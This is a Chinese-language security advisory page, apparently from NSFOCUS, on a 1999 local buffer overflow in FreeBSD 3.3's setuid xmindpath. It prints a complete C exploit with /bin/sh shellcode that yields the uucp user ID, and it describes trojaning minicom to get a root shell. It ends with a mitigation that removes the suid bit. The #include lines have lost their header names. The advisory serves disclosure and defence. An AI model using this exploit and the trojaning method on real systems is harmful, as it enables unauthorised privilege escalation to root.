首页 -> 安全研究

安全研究

安全漏洞
FreeBSD xmindpath 缓存溢出漏洞

发布日期:1999-12-01
更新日期:1999-12-01

受影响系统:
FreeBSD FreeBSD 3.3
描述:
随FreeBSD 3.3发行的xmindpath存在本地缓存溢出问题。其可能造成的影响是可以获得有效的uucp userid。然后可以修改uucp具有写权限的二进制文件使之成为木马。例如:修改 minicom ,当root执行后,得到一个suid shell。

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

/*   
*   
* FreeBSD 3.3 xmindpath exploit gives euid uucp   
* Compile: gcc -o xmindx xmindx.c   
* Usage: ./xmindx   
/path/to/mindpath -f $RET   
* Brock Tellier   
*   
*/   
  
#include   
#include   
  
  
char shell[]= /* mudge@l0pht.com */   
"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"   
"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"   
"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"   
"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";   
  
  
#define EGGLEN 2048   
#define RETLEN 279   
#define ALIGN 3   
#define NOP 0x90   
  
int main(int argc, char *argv[]) {   
  
  
long int offset=0;   
int i;   
int egglen = EGGLEN;   
int retlen = RETLEN;   
long int addr = 0xbfbfcfa8;   
char egg[EGGLEN];   
char ret[RETLEN];   
  
  
if (argc == 2) offset = atoi(argv[1]);   
  
  
addr=addr + offset;   
  
fprintf(stderr, "FreeBSD xmindpath exploit /path/to/xmindpath -f $RET\n");   
fprintf(stderr, "Brock Tellier btellier@usa.net\n");   
fprintf(stderr, "Using addr: 0x%x\n", addr);   
  
memset(egg,NOP,egglen);   
memcpy(egg+(egglen - strlen(shell) - 1),shell,strlen(shell));   
  
  
for(i=ALIGN;i< retlen;i+=4)   
*(int *)&ret[i]=addr;   
  
  
memcpy(egg, "EGG=", 4);   
putenv(egg);   
memcpy(ret,"RET=",4);   
putenv(ret);   
  
system("/usr/local/bin/bash");   
  
}

建议:
临时解决办法是去掉xmindpath的suid位。

浏览次数:8779
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障